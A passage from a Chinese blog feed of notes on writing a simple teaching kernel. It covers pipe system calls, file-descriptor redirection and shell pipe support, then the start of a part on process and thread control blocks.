title="管道实现"></a>管道实现</h3><p>Linux创建管道方法是系统调用pipe，原型是<code>int pipe(int pipefd[2])</code>，成功返回0，失败返回-1，其中pipefd[2]是长度为2的整型数组，用于存储系统返回的文件描述符，fd[0]用于读取管道，fd[1]用于写入管道。下面是创建管道</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 判断文件描述符local_fd是否是管道 */</span></span><br><span class="line"><span class="function"><span class="keyword">bool</span> <span class="title">is_pipe</span><span class="params">(<span class="keyword">uint32_t</span> local_fd)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">uint32_t</span> global_fd = fd_local2global(local_fd);</span><br><span class="line">    <span class="keyword">return</span> file_table[global_fd].fd_flag == PIPE_FLAG;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 创建管道,成功返回0,失败返回-1 */</span></span><br><span class="line"><span class="keyword">int32_t</span> sys_pipe(<span class="keyword">int32_t</span> pipefd[<span class="number">2</span>])</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">int32_t</span> global_fd = get_free_slot_in_global();</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* 申请一页内核内存做环形缓冲区 */</span></span><br><span class="line">    file_table[global_fd].fd_inode = get_kernel_pages(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* 初始化环形缓冲区 */</span></span><br><span class="line">    ioqueue_init((struct ioqueue *)file_table[global_fd].fd_inode);</span><br><span class="line">    <span class="keyword">if</span> (file_table[global_fd].fd_inode == <span class="literal">NULL</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* 将fd_flag复用为管道标志 */</span></span><br><span class="line">    file_table[global_fd].fd_flag = PIPE_FLAG;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* 将fd_pos复用为管道打开数 */</span></span><br><span class="line">    file_table[global_fd].fd_pos = <span class="number">2</span>;</span><br><span class="line">    pipefd[<span class="number">0</span>] = pcb_fd_install(global_fd);</span><br><span class="line">    pipefd[<span class="number">1</span>] = pcb_fd_install(global_fd);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>读取管道中数据，从文件描述符fd中读取count字节到buf</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 从管道中读数据 */</span></span><br><span class="line"><span class="keyword">uint32_t</span> pipe_read(<span class="keyword">int32_t</span> fd, <span class="keyword">void</span>* buf, <span class="keyword">uint32_t</span> count) &#123;</span><br><span class="line">   <span class="keyword">char</span>* buffer = buf;</span><br><span class="line">   <span class="keyword">uint32_t</span> bytes_read = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">uint32_t</span> global_fd = fd_local2global(fd);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 获取管道的环形缓冲区 */</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">ioqueue</span>* <span class="title">ioq</span> = (<span class="title">struct</span> <span class="title">ioqueue</span>*)<span class="title">file_table</span>[<span class="title">global_fd</span>].<span class="title">fd_inode</span>;</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 选择较小的数据读取量,避免阻塞 */</span></span><br><span class="line">   <span class="keyword">uint32_t</span> ioq_len = ioq_length(ioq);</span><br><span class="line">   <span class="keyword">uint32_t</span> size = ioq_len &gt; count ? count : ioq_len;</span><br><span class="line">   <span class="keyword">while</span> (bytes_read &lt; size) &#123;</span><br><span class="line">      *buffer = ioq_getchar(ioq);</span><br><span class="line">      bytes_read++;</span><br><span class="line">      buffer++;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> bytes_read;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>向管道中写入数据，把缓冲区buf中的count个字节写入管道对应的文件描述符fd</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 往管道中写数据 */</span></span><br><span class="line"><span class="keyword">uint32_t</span> pipe_write(<span class="keyword">int32_t</span> fd, <span class="keyword">const</span> <span class="keyword">void</span>* buf, <span class="keyword">uint32_t</span> count) &#123;</span><br><span class="line">   <span class="keyword">uint32_t</span> bytes_write = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">uint32_t</span> global_fd = fd_local2global(fd);</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">ioqueue</span>* <span class="title">ioq</span> = (<span class="title">struct</span> <span class="title">ioqueue</span>*)<span class="title">file_table</span>[<span class="title">global_fd</span>].<span class="title">fd_inode</span>;</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 选择较小的数据写入量,避免阻塞 */</span></span><br><span class="line">   <span class="keyword">uint32_t</span> ioq_left = bufsize - ioq_length(ioq);</span><br><span class="line">   <span class="keyword">uint32_t</span> size = ioq_left &gt; count ? count : ioq_left;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">const</span> <span class="keyword">char</span>* buffer = buf;</span><br><span class="line">   <span class="keyword">while</span> (bytes_write &lt; size) &#123;</span><br><span class="line">      ioq_putchar(ioq, *buffer);</span><br><span class="line">      bytes_write++;</span><br><span class="line">      buffer++;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> bytes_write;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面是利用管道实现进程间通信的代码，下面就不测试了，直接最后一起测试</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"stdio.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"syscall.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"string.h"</span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span>** argv)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">int32_t</span> fd[<span class="number">2</span>] = &#123;<span class="number">-1</span>&#125;;</span><br><span class="line">   pipe(fd);</span><br><span class="line">   <span class="keyword">int32_t</span> pid = fork();</span><br><span class="line">   <span class="keyword">if</span>(pid) &#123;  <span class="comment">// 父进程</span></span><br><span class="line">      close(fd[<span class="number">0</span>]);  <span class="comment">// 关闭输入</span></span><br><span class="line">      write(fd[<span class="number">1</span>], <span class="string">"Hi, my son, I love you!"</span>, <span class="number">24</span>);</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"\nI`m father, my pid is %d\n"</span>, getpid());</span><br><span class="line">      <span class="keyword">return</span> <span class="number">8</span>;</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      close(fd[<span class="number">1</span>]);  <span class="comment">// 关闭输出</span></span><br><span class="line">      <span class="keyword">char</span> buf[<span class="number">32</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">      read(fd[<span class="number">0</span>], buf, <span class="number">24</span>);</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"\nI`m child, my pid is %d\n"</span>, getpid());</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"I`m child, my father said to me: \"%s\"\n"</span>, buf);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">9</span>;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>接下来我们需要在shell中支持管道命令，管道命令如下</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ps -ef | grep xxx</span><br></pre></td></tr></table></figure><p>管道之所以可以这样使用，是进行了输入输出重定向。通常情况下键盘是输入，屏幕是输入。这就是标准输入与标准输出。而输入输出重定向就是改变输入输出的位置，比如从文件中读取输入称为输入重定向，将结果输出到文件中称为输出重定向。管道的作用就是利用了输入输出重定向的与原理，将一个命令的输出作为另一个命令的输入来使用。管道符左边命令的输出数据会作为右边命令的输入数据使用。实现的时候就需要把旧的文件描述符替换为新的文件描述符，如下所示</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 将文件描述符old_local_fd重定向为new_local_fd */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">sys_fd_redirect</span><span class="params">(<span class="keyword">uint32_t</span> old_local_fd, <span class="keyword">uint32_t</span> new_local_fd)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    task_struct *cur = running_thread();</span><br><span class="line">    <span class="comment">/* 恢复标准描述符 */</span></span><br><span class="line">    <span class="keyword">if</span> (new_local_fd &lt; <span class="number">3</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        cur-&gt;fd_table[old_local_fd] = new_local_fd;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">uint32_t</span> new_global_fd = cur-&gt;fd_table[new_local_fd];</span><br><span class="line">        cur-&gt;fd_table[old_local_fd] = new_global_fd;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面是shell中增加的代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 执行命令 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">cmd_execute</span><span class="params">(<span class="keyword">uint32_t</span> argc, <span class="keyword">char</span>** argv)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">if</span> (!<span class="built_in">strcmp</span>(<span class="string">"ls"</span>, argv[<span class="number">0</span>])) &#123;</span><br><span class="line">      buildin_ls(argc, argv);</span><br><span class="line">   &#125; <span class="keyword">else</span> <span class="keyword">if</span> (!<span class="built_in">strcmp</span>(<span class="string">"cd"</span>, argv[<span class="number">0</span>])) &#123;</span><br><span class="line">      <span class="keyword">if</span> (buildin_cd(argc, argv) != <span class="literal">NULL</span>) &#123;</span><br><span class="line"> <span class="built_in">memset</span>(cwd_cache, <span class="number">0</span>, MAX_PATH_LEN);</span><br><span class="line"> <span class="built_in">strcpy</span>(cwd_cache, final_path);</span><br><span class="line">      &#125;</span><br><span class="line">   &#125; <span class="keyword">else</span> <span class="keyword">if</span> (!<span class="built_in">strcmp</span>(<span class="string">"pwd"</span>, argv[<span class="number">0</span>])) &#123;</span><br><span class="line">[...]</span><br><span class="line">&#125;</span><br><span class="line">    </span><br><span class="line"><span class="keyword">char</span>* argv[MAX_ARG_NR] = &#123;<span class="literal">NULL</span>&#125;;</span><br><span class="line"><span class="keyword">int32_t</span> argc = <span class="number">-1</span>;</span><br><span class="line"><span class="comment">/* 简单的shell */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">my_shell</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   cwd_cache[<span class="number">0</span>] = <span class="string">'/'</span>;</span><br><span class="line">   <span class="keyword">while</span> (<span class="number">1</span>) &#123;</span><br><span class="line">      print_prompt(); </span><br><span class="line">      <span class="built_in">memset</span>(final_path, <span class="number">0</span>, MAX_PATH_LEN);</span><br><span class="line">      <span class="built_in">memset</span>(cmd_line, <span class="number">0</span>, MAX_PATH_LEN);</span><br><span class="line">      readline(cmd_line, MAX_PATH_LEN);</span><br><span class="line">      <span class="keyword">if</span> (cmd_line[<span class="number">0</span>] == <span class="number">0</span>) &#123; <span class="comment">// 若只键入了一个回车</span></span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 针对管道的处理 */</span></span><br><span class="line">      <span class="keyword">char</span>* pipe_symbol = <span class="built_in">strchr</span>(cmd_line, <span class="string">'|'</span>);</span><br><span class="line">      <span class="keyword">if</span> (pipe_symbol) &#123;</span><br><span class="line">   <span class="comment">/* 支持多重管道操作,如cmd1|cmd2|..|cmdn,</span></span><br><span class="line"><span class="comment">    * cmd1的标准输出和cmdn的标准输入需要单独处理 */</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/*1 生成管道*/</span></span><br><span class="line"> <span class="keyword">int32_t</span> fd[<span class="number">2</span>] = &#123;<span class="number">-1</span>&#125;;    <span class="comment">// fd[0]用于输入,fd[1]用于输出</span></span><br><span class="line"> pipe(fd);</span><br><span class="line"> <span class="comment">/* 将标准输出重定向到fd[1],使后面的输出信息重定向到内核环形缓冲区 */</span></span><br><span class="line"> fd_redirect(<span class="number">1</span>,fd[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/*2 第一个命令 */</span></span><br><span class="line"> <span class="keyword">char</span>* each_cmd = cmd_line;</span><br><span class="line"> pipe_symbol = <span class="built_in">strchr</span>(each_cmd, <span class="string">'|'</span>);</span><br><span class="line"> *pipe_symbol = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* 执行第一个命令,命令的输出会写入环形缓冲区 */</span></span><br><span class="line"> argc = <span class="number">-1</span>;</span><br><span class="line"> argc = cmd_parse(each_cmd, argv, <span class="string">' '</span>);</span><br><span class="line"> cmd_execute(argc, argv);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* 跨过'|',处理下一个命令 */</span></span><br><span class="line"> each_cmd = pipe_symbol + <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* 将标准输入重定向到fd[0],使之指向内核环形缓冲区*/</span></span><br><span class="line"> fd_redirect(<span class="number">0</span>,fd[<span class="number">0</span>]);</span><br><span class="line">   <span class="comment">/*3 中间的命令,命令的输入和输出都是指向环形缓冲区 */</span></span><br><span class="line"> <span class="keyword">while</span> ((pipe_symbol = <span class="built_in">strchr</span>(each_cmd, <span class="string">'|'</span>))) &#123; </span><br><span class="line">    *pipe_symbol = <span class="number">0</span>;</span><br><span class="line">    argc = <span class="number">-1</span>;</span><br><span class="line">    argc = cmd_parse(each_cmd, argv, <span class="string">' '</span>);</span><br><span class="line">    cmd_execute(argc, argv);</span><br><span class="line">    each_cmd = pipe_symbol + <span class="number">1</span>;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/*4 处理管道中最后一个命令 */</span></span><br><span class="line"> <span class="comment">/* 将标准输出恢复屏幕 */</span></span><br><span class="line">         fd_redirect(<span class="number">1</span>,<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* 执行最后一个命令 */</span></span><br><span class="line"> argc = <span class="number">-1</span>;</span><br><span class="line"> argc = cmd_parse(each_cmd, argv, <span class="string">' '</span>);</span><br><span class="line"> cmd_execute(argc, argv);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/*5  将标准输入恢复为键盘 */</span></span><br><span class="line">         fd_redirect(<span class="number">0</span>,<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/*6 关闭管道 */</span></span><br><span class="line"> close(fd[<span class="number">0</span>]);</span><br><span class="line"> close(fd[<span class="number">1</span>]);</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;<span class="comment">// 一般无管道操作的命令</span></span><br><span class="line"> argc = <span class="number">-1</span>;</span><br><span class="line"> argc = cmd_parse(cmd_line, argv, <span class="string">' '</span>);</span><br><span class="line"> <span class="keyword">if</span> (argc == <span class="number">-1</span>) &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"num of arguments exceed %d\n"</span>, MAX_ARG_NR);</span><br><span class="line">    <span class="keyword">continue</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> cmd_execute(argc, argv);</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">   panic(<span class="string">"my_shell: should not be here"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最后增加一个help功能</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 显示系统支持的内部命令 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">sys_help</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   printk(<span class="string">"\</span></span><br><span class="line"><span class="string"> buildin commands:\n\</span></span><br><span class="line"><span class="string">       ls: show directory or file information\n\</span></span><br><span class="line"><span class="string">       cd: change current work directory\n\</span></span><br><span class="line"><span class="string">       mkdir: create a directory\n\</span></span><br><span class="line"><span class="string">       rmdir: remove a empty directory\n\</span></span><br><span class="line"><span class="string">       rm: remove a regular file\n\</span></span><br><span class="line"><span class="string">       pwd: show current work directory\n\</span></span><br><span class="line"><span class="string">       ps: show process information\n\</span></span><br><span class="line"><span class="string">       clear: clear screen\n\</span></span><br><span class="line"><span class="string"> shortcut key:\n\</span></span><br><span class="line"><span class="string">       ctrl+l: clear screen\n\</span></span><br><span class="line"><span class="string">       ctrl+u: clear input\n\n"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们测试一下</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/120.png" alt="image-20200618104505278"></p><p>所有代码我打包在了 -&gt; <a href="https://github.com/ThunderJie/kernel" target="_blank" rel="noopener">这里</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;编写硬盘驱动程序&quot;&gt;&lt;a href=&quot;#编写硬盘驱动程序&quot; class=&quot;headerlink&quot; title=&quot;编写硬盘驱动程序&quot;&gt;&lt;/a&gt;编写硬盘驱动程序&lt;/h1&gt;&lt;h2 id=&quot;创建新磁盘文件&quot;&gt;&lt;a href=&quot;#创建新磁盘文件&quot; class=&quot;header
      
    
    </summary>
    
      <category term="Programming" scheme="https://thunderjie.github.io/categories/Programming/"/>
    
    
      <category term="OS Learning" scheme="https://thunderjie.github.io/tags/OS-Learning/"/>
    
  </entry>
  
  <entry>
    <title>简单内核实现笔记-part-3</title>
    <link href="https://thunderjie.github.io/2020/05/15/%E7%AE%80%E5%8D%95%E5%86%85%E6%A0%B8%E5%AE%9E%E7%8E%B0%E7%AC%94%E8%AE%B0-part-3/"/>
    <id>https://thunderjie.github.io/2020/05/15/简单内核实现笔记-part-3/</id>
    <published>2020-05-14T23:57:22.000Z</published>
    <updated>2020-06-18T03:11:34.653Z</updated>
    
    <content type="html"><![CDATA[<h1 id="进程与线程"><a href="#进程与线程" class="headerlink" title="进程与线程"></a>进程与线程</h1><p>线程和进程的概念不用多说大家肯定都比较熟悉，线程是具有能动性、执行力、独立性的代码块。进程 = 线程+资源。那么下面代码中你能区别普通函数和线程函数的区别么？我们知道普通的函数之间发生函数调用的时候，要进行压栈的一系列操作，然后调用，它需要依赖程序上下文的环境。而线程函数则是自己提供一套上下文环境，使其更加具有独立性的在处理器上执行。二者的区别也主要是上下文环境。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">threadFunc</span><span class="params">(<span class="keyword">void</span> *arg)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"this is thread\n"</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">func</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"this is function\n"</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"this is main\n"</span>);</span><br><span class="line"></span><br><span class="line">_beginthread(threadFunc, <span class="number">0</span>, <span class="literal">NULL</span>);</span><br><span class="line">func();</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们再来说说进程，操作系统为每个进程提供了一个PCB，用于记录此进程相关的信息，所有进程的PCB形成了一张表，这就是进程表，我们自己写的操作系统中PCB的结构是不固定的，其大致内容有寄存器映像、栈、pid、进程状态、优先级、父进程等，为了实现它，我们先创建thread目录，然后创建thread.c和.h文件，下面是PCB的结构，位于.h文件中</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 进程或线程的pcb,程序控制块 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span> &#123;</span></span><br><span class="line">   <span class="keyword">uint32_t</span>* self_kstack; <span class="comment">// 各内核线程都用自己的内核栈</span></span><br><span class="line">   <span class="keyword">enum</span> task_status status;  <span class="comment">// 记录线程状态</span></span><br><span class="line">   <span class="keyword">uint8_t</span> priority; <span class="comment">// 线程优先级</span></span><br><span class="line">   <span class="keyword">char</span> name[<span class="number">16</span>];</span><br><span class="line">   <span class="keyword">uint32_t</span> stack_magic; <span class="comment">// 用这串数字做栈的边界标记,用于检测栈的溢出</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>我们的线程是在内核中实现的，所以申请PCB结构的时候是从内核池进行操作的，下面看看初始化的内容，主要内容是给PCB的各字段赋值</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 初始化线程基本信息 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">init_thread</span><span class="params">(struct task_struct* pthread, <span class="keyword">char</span>* name, <span class="keyword">int</span> prio)</span> </span>&#123;</span><br><span class="line">   <span class="built_in">memset</span>(pthread, <span class="number">0</span>, <span class="keyword">sizeof</span>(*pthread));</span><br><span class="line">   <span class="built_in">strcpy</span>(pthread-&gt;name, name);</span><br><span class="line">   pthread-&gt;status = TASK_RUNNING; </span><br><span class="line">   pthread-&gt;priority = prio;</span><br><span class="line"><span class="comment">/* self_kstack是线程自己在内核态下使用的栈顶地址 */</span></span><br><span class="line">   pthread-&gt;self_kstack = (<span class="keyword">uint32_t</span>*)((<span class="keyword">uint32_t</span>)pthread + PG_SIZE);</span><br><span class="line">   pthread-&gt;stack_magic = <span class="number">0x19870916</span>;  <span class="comment">// 自定义的魔数</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后用thread_create初始化栈thread_stack，其中减去的操作主要是为了以后预留保存现场的空间</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 初始化线程栈thread_stack,将待执行的函数和参数放到thread_stack中相应的位置 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">thread_create</span><span class="params">(struct task_struct* pthread, thread_func function, <span class="keyword">void</span>* func_arg)</span> </span>&#123;</span><br><span class="line">   <span class="comment">/* 先预留中断使用栈的空间,可见thread.h中定义的结构 */</span></span><br><span class="line">   pthread-&gt;self_kstack -= <span class="keyword">sizeof</span>(struct intr_stack);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 再留出线程栈空间,可见thread.h中定义 */</span></span><br><span class="line">   pthread-&gt;self_kstack -= <span class="keyword">sizeof</span>(struct thread_stack);</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">thread_stack</span>* <span class="title">kthread_stack</span> = (<span class="title">struct</span> <span class="title">thread_stack</span>*)<span class="title">pthread</span>-&gt;<span class="title">self_kstack</span>;</span></span><br><span class="line">   kthread_stack-&gt;eip = kernel_thread;</span><br><span class="line">   kthread_stack-&gt;function = function;</span><br><span class="line">   kthread_stack-&gt;func_arg = func_arg;</span><br><span class="line">   kthread_stack-&gt;ebp = kthread_stack-&gt;ebx = kthread_stack-&gt;esi = kthread_stack-&gt;edi = <span class="number">0</span>;</span><br><span 